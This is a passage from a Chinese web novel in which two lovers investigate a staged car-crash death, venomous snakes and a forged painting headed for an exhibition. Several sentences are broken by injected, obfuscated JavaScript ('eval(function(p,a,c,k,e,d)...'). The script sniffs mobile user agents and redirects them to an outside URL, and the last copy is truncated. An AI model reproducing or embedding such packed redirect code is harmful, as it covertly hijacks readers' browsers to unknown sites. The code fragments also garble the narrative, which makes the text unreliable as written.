不需要灯光,在黑暗中林菀都分辨出这段在微风中摇晃的物体是什么—— “蛇蜕。” 她浑身冰凉。 …… 回程的路上,车里无人说话。只有江小姗靠着窗户遗憾叹气。他看完一辆宝马不过瘾,还想去看看一辆保时捷,被徐箴言拖走了。江小姗爬墙时还在念念不舍地讲条件,“要不然你们先回去?我留下来。说不定再研究研究,下个月的事故车破拆演练我能得高分呢!” “下次你跟队友报备了再来。”墙内沟多杂草也多,徐箴言蹲下,让好友踩肩膀攀上围墙。 路上无其他车流,徐箴言提速回程。路边树向后飞快退去。“明天我找个理由去趟佘店跑企业,去一趟佘店那个村子。” “我跟你一起去。”林菀立即说。 “你就在家吧。两个人一起去,太刻意明显了。有事我随时告诉你。” “那好。把那段蛇蜕也带上,说不定可以打听出什么。你小心点,我怀疑是尖吻蝮的蛇蜕,这种蛇有剧毒。”林菀想起几个月前,林珠莉差点遭了蛇毒。 “你们到底在研究啥啊?一天天的比警察还忙,还挺危险。”江小姗满心古怪。 徐箴言从后视镜看了他一眼,“你想知道?那就从我画画开始说起,首先讲一下油画发展理论,这很重要——” 江小姗一听就头大,连连摇头,“别告诉我,我不想知道。” 徐箴言看到他摇头的样子,忍不住弯了下嘴角。 …… 第二天,徐箴言顺利启程去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102871|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旅游小镇佘店,而林菀则前往林珠莉的别墅。 “怎么今天过来了?”林珠莉做完普拉提,刚刚送走教练,还没来得及换衣服。 林菀望着她的眼睛直接说:“很久不见,我很想你。”这是她的心里话。最近一次穿越去现实世界,她真的很想念母亲。 林珠莉笑了,爱抚地拍拍女儿的背,带她到客厅坐下,“喝玫瑰枸杞茶好不好?我自己配的。” “好。”林菀将一个盒子掏出来,放到茶几上。 “这是什么?” “送您的礼物,最新款手机。” “我不需要。”林珠莉立即拒绝,“我有手机。” “你用的那款型号太老,现在都是上了岁数的老人在用。”林菀将盒子打开,把新手机掏出来开机,“我教你。” “我不用。”林珠莉继续平淡地拒绝,“我对这东西不感兴趣,能打电话就行。” 林菀沉默了几秒,努力保持平静,“为什么要坚持二十年前的生活习惯?为什么不能随着时代发展一起进步?” 是的,她眼前的母亲来自现实生活中二十多年前林珠莉的梦境。她的衣服都是经典复古款,不用微信不用平板电脑不用kindle,完全遵守千禧年的生活方式。可是林菀在向徐箴言吐露真实身份后,穿越的割裂感愈加强烈。她开始想要改变母亲,想要让母亲开始现代生活方式,以此证明,眼前的林珠莉是一个拥有独立自主人格,会随时代发展的真实人,不会被围困于二十年前的梦境。只要她不是虚无缥缈的,那么林菀更有信心在将来的某一天,将母亲带去现实生活。 “我的工作方式很稳定,忙不过来还有助理。她会用电脑和软件,我为什么还要亲自动手?”林珠莉的语气稍有严肃。她不明白为什么女儿会揪住这点不放。 “可是我想能随时联系你,有什么有趣的事情也能及时跟你分享。就算你不用微信,那其他社交软件也成。只要你会使用手机,何必还买报纸?”她苦苦劝说。沙发旁边就放了厚厚一摞报纸。 林珠莉沉默几秒,心知林菀是好意,也不想在这件事上跟女儿争吵,“……你把新手机放这里吧。我回头看看。”她换了话题,“过两天,等画展开幕邀请帖下来,我拿给你。” 林菀有些失望,但也知道这事儿不能强促,她顺着母亲的话说下去,“要邀请什么人?” “也就几位收藏家,一些认识的画家。商氏夫妇那边估计是他们的管家代劳出面。”林珠莉蹙眉想了想,“不过,秦经理执意加上一个人,祁筑庭画家。” 林菀有些奇怪,“我们不认识他吧?” “没有任何往来。”林珠莉不以为意,“可能是因为他和林乃岳是同一个时期的画家吧。对了,徐箴言怎么没跟你来?” “他去佘店出差了。” “佘店?我去度假过。”林珠莉突然露出意味深长的微笑,“这地方本来做旅游,最近几年养蛇产业倒是也发达起来呢。佘店,以前叫蛇店。” 林菀愣住了,脑子里满是昨夜的蛇蜕。 林珠莉去泡茶,而这时林菀的手机震动起来,是徐箴言给她发了信息。他已经到了那个村子,路上还见到不少徒步游客。他便也加入他们,一起进村。在村口问路时,他顺利打听到了那场车祸的消息。 “一个染了满头黄发的小伙子自称最早发现车祸现场,见我不信,还展示照片,说是连警察都没给看过。”他发来一张照片。为了不吓到林菀,徐箴言自行打了马赛克,但还是看出是一个模糊的红色人影支棱着白胳膊,横扭在车前排。 “这什么?”林珠莉端茶过来,看到林菀的手机屏幕,顿时皱起眉头。 “哦……箴言出差嘛,路上见到一场车祸。一个人开车到半山腰,翻到山沟里去了。” “没警察?”林珠莉坐到她身边,挑挑眉。 “警察还没去吧。” “有没打码的照片吗?让他发过来我看看。”林珠莉丝毫不怕血腥场面。 林菀一愣,但依言照办。她不忍看照片,而林珠莉则仔细打量照片许久,然后哼了一声,“嗯,警察可有得忙了。” “为什么这么说?”林菀愕然。 “一看就是谋杀。”林珠莉挑起一边唇角,笑容很冷。 “就凭一张照片能看出来?”林菀不可思议。 “孩子,我是律师,虽然主要做离婚。但你知道,很多离婚案也变成了凶杀案。而在做律师之前,我是护士。”林珠莉凉凉地瞥了眼那张照片,知道林菀发憷,便把手机放到茶几上,“这个男人,没有抵抗伤。” 抵抗伤,也就是受伤者出于防卫本能,在面对危险时用手和胳膊抵抗所受的伤。鲁某出车祸,是被动性抵抗。所以在车滚下山坡的时候,他应该会用胳膊护住自己,这会导致他的手背和胳膊外侧以及脊背外侧都有损伤。 但奇怪的是,照片显示他只有胸部和头部因为撞击而受伤,似乎完全没有伸手护住。而他的胳膊几乎没有什么伤口。 “如果不是自杀,那么这个人出车祸时要不然已经死亡,要不然已经昏迷。”林珠莉继续淡淡说道,“如果是后两种情况,便就是他杀。” 55. 商氏可能无辜 鲁某,没有抵抗伤。 从林珠莉家出来,林菀一边急匆匆走上林荫道,一边将这个消息告诉远在佘店的徐箴言。 很快,徐箴言又发来新的消息——村里人说鲁某,也就是鲁杰,最近发了一笔横财,吹嘘中彩票几十万。也就是说,如果商氏的租车行要求赔款,鲁家其实也付得起。只是他们不想付钱,所以才找办法及时将人车统统销毁。 至于蛇蜕,当地蛇苗养殖户一眼就认出来了,那是银环蛇的蛇蜕。银环蛇也是毒蛇,毒牙很小,其毒液含有致命的神经毒素,是国内致人死亡数量最多的毒蛇。人被咬后,伤口细微得几乎看不见,但很快会出现头晕眼花四肢乏力的症状,继而肌肉瘫痪,呼吸麻痹。 鲁杰如果真的被银环蛇咬过,那么他极有可能因为夜间行车疲劳驾驶而误以为自己头晕眼花,瞌睡来了,而根本不会想到自己竟然被毒蛇咬伤。接下来,他很有可能因为蛇毒发作,导致全身麻痹,车辆失控冲下山沟。但说不定也有人开车尾随,将昏迷的他连车一起推下山沟。 不管如何,若推测为真,是谁想置鲁杰于死地?这件事怕是跟林珠莉车里的尖吻蝮也脱不了干系。 晚上十一点,徐箴言从佘店赶回来。他忙碌一天没有吃饭,林菀便在彻夜营业的餐厅里等他一起吃饭。 徐箴言风尘仆仆地坐下,眉宇间掩着几丝疲惫,但精神很足,手里还拿着一杯咖啡。 “怎么还喝咖啡?”林菀担心他晚上睡不着。 “待会还有些工作要处理。”徐箴言微微一笑,岔开话题,“你母亲还说什么了?” “没有了。她倒是对那场车祸很感兴趣,说有新消息要记得告诉她。”林菀摇摇头,“我倒是担心鲁杰出事,跟庞涛跳楼,你我遭遇的危险,乃至我妈曾经遇到的事情……都在一根绳上。”她觉得处处都有蹊跷,“鲁杰当真是买彩票中了大奖?” “盐河村的人是这样说——” “等等,盐河村?”林菀突然紧蹙眉头。 “怎么?” “我在哪里听过这个地名。” 徐箴言愕然地放下汤勺,他正在帮林菀盛汤。见她沉思半天不吭声,他开口帮忙回忆,“有朋友是那边的人?还是乐团同事?或者林乃岳大师班里有人在那边?” 林乃岳三个字冲进林菀的大脑。她猛地睁大眼睛,脑海里出现一段话——“你父亲一幅遗失多年的画作,最近在他写生过的一个村子里找到了。叫盐河村,他在一个农户家里留宿过一段日子。这幅画没有进拍卖所,被商氏夫妇直接买走。” 这句话是林珠莉说的。在盐河村找到的那幅画,就是徐箴言那幅加百列。 林菀心头一阵幽凉,倒吸一口寒气,“你那幅被伪造成林乃岳真迹的画,就是在盐河村找到的。” 徐箴言望着她,一时震惊无言。良久,他才说道:“你确定?” 林菀毫不犹豫地点头,“我确定。想必鲁杰就是——”她打住话头,剩下的已经不用明说。 “画是基金会刘经理找到的。只要搞清楚他死前和鲁杰有没有资金往来便可。这件事包在我身上。”徐箴言凝神细思,“不过这样一来,商氏夫妇的嫌疑倒减轻不少。” “怎么说?” “我们一直怀疑商氏夫妇谋财害命制造画家死亡,随后利用伪画大发不义之财。如此思考,鲁杰绝对是被他们做掉的……可鲁家人都没报警,租车行怎么还主动报警?” 这确实是一个疑问,林菀沉思几秒,“Sam过去后做了什么?” 徐箴言回想着今天在佘店的见闻,“我了解到的消息是,Sam要求车行全力配合警方调查。”他想了想,“不过警方也调查不出什么,见不到尸体,现场也早就被破坏。” “……我再问问商皓宸,看能不能打听到什么。”林菀掏手机发微信。 徐箴言没有说话,一边吃饭,一边等待她打探消息。 林菀装作不知道似的,问商皓宸,他父母是否要来参加林乃岳画展的开幕式。 商皓宸竟然还没睡,几乎是秒回——“大概是Sam代替他们来。你怎么还没睡?” “我在整理画展的资料。上次听你说Sam去佘店处理车行事情,办好了吗?” “有人租我家车出车祸了。”大概由于收到林菀消息很激动,商皓宸发了一个完全无关的表情包,发完立马秒撤,“丢人。”他顿了顿,继续写道,“Sam很生气,我妈也不太开心。因为那辆车是我爸以前在国内的代步车,车牌号也很吉利。我去佘店玩也经常用这辆车。” 一看到这句话,林菀便明白恐怕怀疑商氏夫妇是真的大错特错。做生意的人都迷信,绝不会为了杀人而顺手搭进去自己喜欢的车和车牌号。何况商家有那么多车,随便挑一辆宝马都好,何必还把这辆有全家记忆的车的引擎盖损坏了放毒蛇进去?单单为了儿子安全考虑,他们都不会对这辆车动手脚。 那么,利用庞涛掩盖对徐箴言下毒,追尾林菀母女的车,往林珠莉车里放尖吻蝮,甚至杀死鲁杰的,到底是谁?难不成是刘经理?不对,他是被献祭的第一人。 说来说去,整个事件的重心竟然再次回到了徐箴言那幅淡紫色加百列月季上。而买画的商氏夫妇,暂时看来,可能是无辜的冤大头。夫妇俩牵连的人物太多。出于谨慎心理,林菀认为还需进一步确认。 “你——会去看画展吧?”商皓宸小心翼翼地问。 “当然。”这是林菀的回复。 一想到加百列,林菀便抬头看向自己的爱人,忧心忡忡当中含着一丝欣慰,“幸亏那幅加百列不在参展名单里。”否则,徐箴言就危险了。 …… 城市另一端,灯火辉煌的江边豪宅区。 商皓宸盘腿坐在床上,看到“当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102872|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然”这两个字,忍不住开心地笑起来。他果然没猜错。林菀对油画很感兴趣。 想到这里,他立即打开skype,迫不及待地跟远在异国的父母视频。 很快,他母亲成熟美丽的脸庞出现在视频另一端,她穿着西装,似乎还在处理公事,坐在办公室里,面前摆了一份冰凉的沙拉。 商皓宸立即打着手语跟母亲问好。Sheryl Shang也熟练地打着手语跟儿子说话。两人聊起最新的惊悚美剧,有心灵感应似的一起笑起来。 “都快要睡觉了,儿子你不至于专门视频跟我讲剧情吧?”Sheryl有些打趣地瞥了眼墙上挂钟显示的东八区时间。母子俩关系好,向来没有什么罅隙。 “我确实有事情想请你答应。”商皓宸脸色微红,好在房间里只开了床头灯,看得不甚清晰,“能不能把客厅那幅月季花也拿去参展?” 这个要求非同一般,涉及商业往来。Sheryl略有讶异,便抱起胳膊,收了笑容,以谈公事的优雅平静态度询问儿子,“为什么?”在正事上,她一向对儿子严格。 因为林菀喜欢。商皓宸记得跟林菀接触的每一个细节,她说过的每一句话。商家收藏了那么多林乃岳的画,只有那幅月季花让林菀主动提过两次。想必她肯定很喜欢。但是这个理由不能跟父母明说。 “Sam说布展线是林乃岳的人生轨迹,要展示他不同时期的代表作。我认为月季花就是他沉迷乡村写生时的代表作。至于其他时段的画,我也有些意见。” “你说说。”Sheryl头一次见儿子对油画感兴趣。 商皓宸便开始极力卖弄他最近了解的林乃岳作品相关知识。学习这些不为其他,只为了在小提琴课程结束后,还能有借口跟林菀继续接触。 “所以,家里具体要拿什么画给林乃岳画展,我能提建议吗?”最后,他小心又认真地问,满脸真诚。 Sheryl一动不动地端详着儿子的脸。他似乎对这件事非常上心。其实作为母亲,她也希望自己唯一的继承人能开始了解艺术品买卖,这是一个好开头。她不能打击孩子的信心。 “那就由你来重新选画。”Sheryl终于松口,点点头,“你要尽快。决定后立刻把名单发到我邮箱。”她还得让Sam再次跟秦经理交涉。唉,改来改去,多有得罪了。 商皓宸闻言便眼睛一亮,兴奋地跳了起来。此时此刻,他满脑子都是假如林菀在画展上看到了这幅画,那该多开心。他终于能为她做一件事情了。 经历过伤心与难过后,商皓宸已经想通,就算林菀有恋人又如何?这跟他的喜欢没关系。所以并不妨碍他继续虔诚地恋慕着那个站在首席位置上的年轻小提琴家。他早就懂了,并不是所有的爱恋都能得到回报。他可以默默地呆在一旁,只要她过得如愿……她若开心,他自己便也开心。 …… 56. 林吾与徐箴言 第二天,徐箴言按时去上班,中午约了熟人见面。他需要通过各种渠道查清楚鲁杰的资金往来情况。 而林菀在练琴结束后,径直去了毛拉的画廊。毛拉业余时间在用徐箴言提供的小尺寸油画试验如何制造出历经岁月洗礼的老旧油画。 他在画廊二楼狭小的办公室里接待了林菀,高兴地收下她带来的经典油画颜料盘礼物,然后进入正题。 “制造完美谎言的诀窍就是让这个谎言变得真实。”毛拉将没吃完的午餐三明治放到一边,从桌子底下吭哧吭哧搬出来一幅画。 这幅油画尺寸中等,画布紧绷绷地钉在木框上,内容则是一盘水果。林菀虽然是门外汉,但也看出这幅画没有什么技巧与美感,只是将静物硬生生地照搬到画布上,线条凹凸不平,轮廓粗糙,甚至颜色都调得不对,显然是新手所为。 “这是我跑了好多天,从一个有五十年历史的高中旧仓库找出来的。”毛拉伸出手指弹了弹木头边框,空气里腾起细微的灰尘,“瞧,年头够久吧,上世纪九十年代艺考生的画作。”他说着又将画框翻过来,后头的确有个年代印章可以作证。 “毕竟不同的木头在不同的条件下有不同的腐蚀虫蛀痕迹。你没有办法在这一点上用新画框撒谎。”毛拉又说。 林菀瞬间懂了,“是说直接找符合年代要求的旧画?然后在旧画上继续画新的?” “对。上一层钛白遮住画布上已经被涂抹的部分,就能当崭新的画布使用了。”毛拉有些得意。 这确实是最直接的办法,也是最天衣无缝的办法。在画框和画布的鉴定上不会有任何瑕疵。 “那颜料呢?如何做出旧画效果?”林菀很是好奇。 “这点我还在继续试验。”毛拉将那幅画收起来。他想到什么,眯起眼睛,“徐画家送来我这里的几幅小画你看过吗?”因为林菀是林乃岳的女儿,毛拉认为她务必有不错的审美。 “我看过,怎么?” “你肯定也清楚,只要他肯辞职做职业画家,”毛拉意味深长地说,“他的上限比林乃岳更高。” 林菀沉默了,她已经好几次听毛拉夸赞徐箴言的画技,但徐箴言从头到尾压根没有要走职业道路的心思。于是她说道:“他不愿意做的事情,我不想强迫他。” 毛拉闻言十分遗憾地摇头,也不再多说。 …… 从毛拉的画廊出来,林菀马不停蹄地赶往米卡艺术中心展馆。既然事情回到最初的起点——加百列油画上,那么她就要来画展看看会不会找到线索。而且,她也比较担心周城的人身安全。 天气炎热,阳光强烈。林菀出门时穿着一条白色连衣裙,戴了一个黑边草帽。可下出租车才走了几步,她便汗湿了额头,摘下帽子扇风。 她走近展馆一楼大门,突然停下脚步——花匠们在门口两侧花坪忙活多日,现在终于完工。这里栽种的竟然是低矮的茶树。如今茶树长势良好,挤挤挨挨,郁郁葱葱。 林菀蹙眉后退几步,然后绕着展馆走了一圈。她发现整座展馆都被茶树包围,像是漂浮在一小片绿色海洋里。 林乃岳的老家有漫山遍野的茶树。秦经理策划整个活动,竟然心细到了如此地步。她心里正想着这点,一抬头就看到秦经理站在一个小侧门那里抽烟。弯弯曲曲的鹅卵石路在茶树丛中延伸到侧门口。 秦经理也见到她,朝她挥挥手,“林小姐。” 林菀露出笑容走过去,“您好,怎么就一个人在这儿?周城哥呢?” “他要住几天院才能再过来。” 林菀愣住,“怎么回事?” “林小姐知道他住在乡下吧?晚上回去时车爆胎侧翻,他摔破脑袋了。”秦文翰在烟筒垃圾桶上熄灭烟头,“没事,脑震荡而已。” 林菀突然心头一紧,她担心这事儿没那么简单,可面上又不能表现出来。 “你过来要看室内工程进度?”秦文翰突然说,“已经快收尾了。” “……确实是。您今天忙吗?” “怎么不忙,商氏夫妇的主意三天两头地变。”秦文翰掩盖不住眉宇间的疲惫,又笑了笑,“你就当没听到我说吧。” “他们又改了什么主意?” “一堆要求,我还没细看。”秦文翰从公文包里掏出一摞钉在一起的资料,紧接着听到工人喊他。“我去去就来。” “好的。”林菀便独自留在这里看资料。前几页都是商氏夫妇对桃李角的要求,中间是商氏车行赞助的详细情况,最后是商氏最终敲定的出借画作名单。 林菀粗略地浏览着,突然身体一震——画作名单正中间《夜色下的月季花》几个字刺眼极了,旁边的配图显示正是徐箴言那幅加百列。 商氏夫妇竟然重新把这幅画放入展览名单,并且明确表明不会再修改。 林菀脑子嗡的一声,心头突然裂出了一个大洞,完了。原本周城比徐箴言更危险,可如今徐箴言的性命更加岌岌可危。一旦加百列要公之于众,隐藏在暗处的凶手势必会抢先戕害徐箴言,以确保这幅画顺利展出而永远不会有任何人发现它的奥秘。 蝉鸣酷暑里,她竟感觉好像一盆冰水从头淋下来,冻得她心脏疼,以至于忽略了包里一直震动的手机。 …… 而等到徐箴言走过来时,林菀还没察觉。 徐箴言今天跑企业,工作结束得早,所以过来接她一起回家。林菀手机一直打不通,他担心之下便过来看看情况。而他看到的就是一身白裙的林菀在画展侧门的茶树丛小路上来回踱步。 徐箴言默不作声地走到她身边,突然歪头打量她的面庞,眼里有隐约的笑意。一直在沉思的林菀果真吓了一跳。她都没注意到自己已经焦虑得在大太阳下走了无数个来回。 “猜我今天打听到什么消息?”他说。 “先别说这个,你快看。”为了避免阳光直射导致纸面反光,林菀将徐箴言拽到门口,拿出那张出展油画名单。 无需多言,徐箴言瞬间明白了这白纸黑字名单的意思,一时震撼得沉默。 “这幅画,竟然还是要被展——”林菀的声音有些颤抖,可不等她说完,秦经理便过来了。 “看完了吗?有没有问题?”秦文翰说完突然发现多了个人。 “阳光下看这些太头疼了。我随便翻了几页关于桃李角的,也没看完。”林菀勉强定了定神,将资料还给秦经理。 “这位是?”秦经理打量着徐箴言。 “您好,我叫徐箴言,是林菀的朋友,也是林乃岳大师班第三期的学生。”徐箴言也迅速恢复正常神色,跟对方握手。 “鄙姓秦,是基金会的经理。既然你是林乃岳大师班的学生,那自然欢迎。”秦文翰笑着,“不过室内装修还在收尾,暂不接受参观。你若感兴趣,倒是可以欣赏外面的茶树园。你应该知道吧?” 林乃岳出自产茶贩茶的家庭。 “我知道。”徐箴言了然。他顺着对方的眼神朝外看去。一阵微风吹起,一丛丛茶树在风中轻轻颤动,嫩绿的小叶子被风吹倒又恢复原位。 徐箴言眼神一亮,原本堵塞的思路突然被冲破。他再次开口,声音都愉悦起来,“听说大师班那栋房子已经修缮完毕?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102873|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是的,欢迎你去玩。”秦经理立即说。 “我正想去。”徐箴言笑起来,“习惯了在那边画画,比较有感觉。最近正好有灵感。” “什么灵感?”林菀诧异于在这种紧要关头,他竟然突然要跑去大师班画画。 “前几日去外地出差,看到一片片茶园很漂亮,当时就想把那片风景画成油画。刚刚过来时,又看到你走在茶树丛中——”徐箴言顿了顿,眼里依旧笑意未减,“我的要求怕是有些无理,可还想问,你能不能当我的模特?” “……”林菀一时疑惑又惊讶,不知道说什么。 “我想画下你走在茶树丛中的样子。”徐箴言轻轻地说。 这一瞬间,林菀脑子里一根弦突然嗡地弹了起来。有什么记忆里的东西刷地冲进她的大脑,可她怎么也想不起来。 秦经理以为林菀不说话是不太好意思,便笑着打圆场,推波助澜,“好主意。林小姐自然是十分上相的。再不济,画个背影也好看。” 林菀匆匆回神,只好笑了一笑。 …… 离开展馆,走得周围再也没有路人能听到他们的聊天,林菀立即问徐箴言,“怎么突然说要画茶园?还要画我?” “你看过你父亲写的那本《林乃岳:关于女儿的小事》吗?”徐箴言微笑着问。 “看过。”然而林菀还是不知徐箴言在谋划什么。 “我也看过。刚刚那片茶树突然让我想起他在书里描绘的一个细节,说带妻子和女儿回老家,老婆走在茶园里的背影和周围景色十分和谐,于是他打算画下来。”他不疾不徐地说着,“可是到现在为止,没人见过这幅画。” “他根本没有画。”林菀毫不犹豫地下结果,“他跟我妈关系早就破裂了,他根本不可能画。” “那么……如果出现一幅跟他妻子年轻时背影相似的茶园女子油画,你觉得怎么样?”徐箴言耐心地问。 林菀的心跳猛地漏了一拍,“这就会是一幅林乃岳亲笔留文背书的油画——具有绝对可信度。” “是的。当初我的加百列是在大师班失踪。那里肯定有猫腻。如今我便再回去作画。”徐箴言一边思考,一边说,“这些事情的背后主谋能制作多幅伪画,说明他对林乃岳事迹了如指掌。由此一来,他为了利益考虑……在我画这幅画期间,绝对不会动我分毫。再不济也能保证在画展开幕式之前,我性命无忧。” 林菀闻言立即道:“不错,就这么办——” 倏忽间,她脑海里火花一闪,似曾相识又怎么也想不起细节的记忆碎片被冲刷得一干二净,露出真容——在现实生活里,林吾林大画家的代表作——也是他唯一的人物画——是一幅描绘年轻女子走在茶园里的当代写实油画。曹磊还说过,这女子看着酷似林菀。 也就是说,那幅画是当真画的林菀。 林吾、徐箴言…… 林菀猛地抓住徐箴言的手,紧紧拽住,似乎希望借此汲取支撑自己全身的力量。 她已经全然明白了。林吾的存在提醒着她,两个世界的确是可以打通,互相穿越的。毕竟林菀可没有在现实世界里给人做过模特。她甚至在梦境世界还没做油画模特。 但有一点值得怀疑,林吾似乎是从梦境世界穿越过去。林吾是艺名,那么他是谁? 若林菀成功解决掉眼前的麻烦,带徐箴言穿越成功,林吾有可能是徐箴言。 若林菀将一切搞砸,甚至让凶手穿越成功,林吾便是杀死徐箴言的刽子手。 他改头换面,抄袭在这个世界的一切画作,优雅地体面地活着。 57. 调查林吾 工作日的早晨,珑亚总部大厅一如既往地有很多员工在排队等电梯。 “早啊。”曹磊走到Maggie身后,摘下头戴式耳机。他拎着两个从便利店买的包子,突然注意到Maggie的素颜。“你怎么没化妆?” “上班哪有人值得我浪费二十块钱的粉底液。”话虽这么说,但Maggie手里还是捏着一个气垫。她今天起床迟了。“哎,那是Nora来——” Maggie打招呼的话都没说完,就看到林菀注意到等电梯的长龙后转身毫不犹豫地冲进了楼梯间。 “……她疯了吧?”Maggie回头跟曹磊说。 而林菀一口气爬了九楼,疾步回到办公室。她摁着酸软的双腿,气喘吁吁地坐下,立即打开部门的公共资料存储中心,查看跟林吾有关的文件。可是林吾本人低调隐秘,她竟然没找到任何贴近他个人生活的信息。 这时,办公室众人也陆续到岗,有几个在座位上一边看电脑,一边吃早饭。 Maggie从洗手间补妆回来,小声告诉林菀,“谭姐在洗手间里吐呢。我的天,她都几个月的肚子了还孕吐。” 林菀才注意到Maggie在跟她说话,“有人怀孕就是从头吐到尾。” Maggie啧啧两声,扭头朝曹磊的办公桌看去。谭姿是闻到办公室里的早餐味儿才出去吐的,而曹磊还在吃味重的老坛酸菜包子。Maggie忍不住哎了一声,这小伙子平时那么上心领导的动静,怎么这会儿就忘了。 林菀没注意其他,瞧见谭姿从洗手间回来,便跟上去,“谭姐,上次见您有林吾的画册,我能借来看吗?” “当然没问题。”谭姿立即点头,进了她自己单独的办公室,将画册从书架里拿出来,“我也希望你们尽多了解服务对象。”她顿了顿,笑道,“林吾是真正的艺术家啊。难怪董事长那么喜欢他的画,我也是越看越喜欢呢。” “谢谢您。”林菀笑了笑,抱着画册出来。曹磊立即跟上,跟林菀说等她看完,他也要看。 回到座位,林菀细细地研究着林吾画册里每一幅画。正如最初了解到的,他的画几乎全是风景画,唯独一张是人物画,也就是传说中,他以妻子为模特,画下的茶园女子背景油画,取名为《吾爱》。 可是综合来看,这就更诡异了。 林菀熟知梦境世界里那些署名为林乃岳的每一幅油画,不管其真伪如何。可在这个世界里,林吾的风景画没有一幅与之相似,全是新作。 如果林吾是徐箴言,十分说得通,他肯定会创作新的画。如果林吾是其他人……也就是说,这个人在刻意避开梦境世界里的作品,以免被人发现。甚至,他用的可能是在梦境世界里还未公之于众的油画。 至于《吾爱》,林菀坚信徐箴言日后是肯定将这幅画创作出来了。她是徐箴言的妻子,那么这幅画被命名为《吾爱》,顺理成章。但结婚这件事只有他俩以及涂淼、林珠莉、徐雯家知道,都不会往外说。在外人,比如秦文翰看来,这幅画便是林乃岳画下的妻子背景,画中女子为林珠莉。 按照眼下的情况看,徐箴言画下这幅画,是为了等待时机揭露真凶,不可能主动发表。以他的性格,即使换了一个世界,也必定不会张扬。否则他有什么理由不来找她,反而画了这幅《吾爱》到处展览? 但换了另一个人就可信了,这个人并不知道这幅未展油画里的女子真实身份为林菀,而林珠莉多年前已死,所以他能毫无顾忌地拿出来卖弄。 林菀越想越心慌,越想越不愿相信。她更宁愿是徐箴言来到这个世界,摒弃了以往低调行事的个人风格。 可是,她压根没有见过林吾。思虑及此,林菀转身立即问:“Maggie,你能再说说林吾到底长什么样吗?” 瞧见林菀心神不宁焦虑不安的模样,Maggie有些愣住,“就,挺帅的一个帅哥呀。鼻子高眼睛亮。时间太久,我也记不清了。其实长得帅的都这样,对吧?” “多大岁数?” “三十多岁。” “四十岁也有可能吧。”曹磊路过,插嘴道,“现在有钱人都保养得好。” “切,你那是嫉妒。”Maggie故意打趣,又回头说道,“说实话咱们这种小喽啰还没资格见他呢。你要不然跟谭姐说说,下次见他就带上你。” 林菀失望地坐回去。她连跟集团分部总裁说话的资格都没有,更何况是见董事长都喜欢的著名艺术家?早知如此,她就应该趁着上次林吾来公司参观时,跟着谭姿去端茶倒水的。 如果林吾是徐箴言,那还好说。可如果林吾是其他人……他公布的唯一人物画为“林乃岳的妻子”,他的画展偏偏也选在米卡艺术中心,他本人更是选了姓林的假名…… 这个人,一定跟林乃岳有关。 …… 同时,另一个世界里,莱城国际机场。 “舅舅,你明天来看我吗?”蕊蕊搂着徐箴言的脖子,坐在他臂弯里,胳膊下夹着个林菀送的兔子布娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐雯欣慰地点头,可已经有些哽咽得说不出话。 蕊蕊闹着下地玩。趁着徐箴言弯腰之际,徐雯迅速用指尖擦了一下眼角的泪水,重新又笑起来。她不希望让弟弟有太多心理负担。 …… 待徐雯一家三口过了海关,徐箴言依旧留在机场。他站在落地窗边,看着一架架飞机冲上云霄。 自古多情伤别离。就此,徐家在国内便只剩下他一个人。说不伤心也不可能。但是理智上,由于身陷险境,他庆幸于亲人的移民。如此一来,除了林菀,他便没有其他软肋了。 回到家,他一个人收拾屋子,一个人做饭,一个人吃饭。以前不觉得落寞的事情如今却显得无比寂寥。 所以他没有趁早休息,而是在洗漱后依旧选择出门,开车前往繁寓路地铁站等待。或许林菀今晚会回来。 58. 商氏家中的伪画 午夜的末班地铁,按时抵达繁寓路站。 地铁还未停稳,林菀就看到站台中央站着一个人。那竟然是涂淼。林菀瞬间想到她以前跟涂淼提过要试试穿越来的地铁,没想到涂淼真的碰巧来了。这个时机可不多得。 地铁门开的那一刻,林菀立即朝涂淼大喊:“涂淼,快过来!” 涂淼抬起头,一脸莫名其妙地望着她。 “上车!我们试试!”林菀清楚她一定知道自己在说什么。 然而涂淼还是傻愣愣站在灯下,仿佛听不懂她说的话。眼看列车红灯亮起,林菀只得跑下车,“你不想上去?” 涂淼表情呆呆的,“你刚刚叫我上车?”她打了一个激灵,如梦初醒,“我听到你在说话,可是好古怪。就跟没长脑子似的,我根本想不到‘要走进车里’这个步骤,像……”她努力寻找字眼来形容自己的感觉,“像原始人脑子里没有打铁铸铜这种概念一般。” 林菀愕然,忍不住回头看向离开的列车。这是怎么回事? 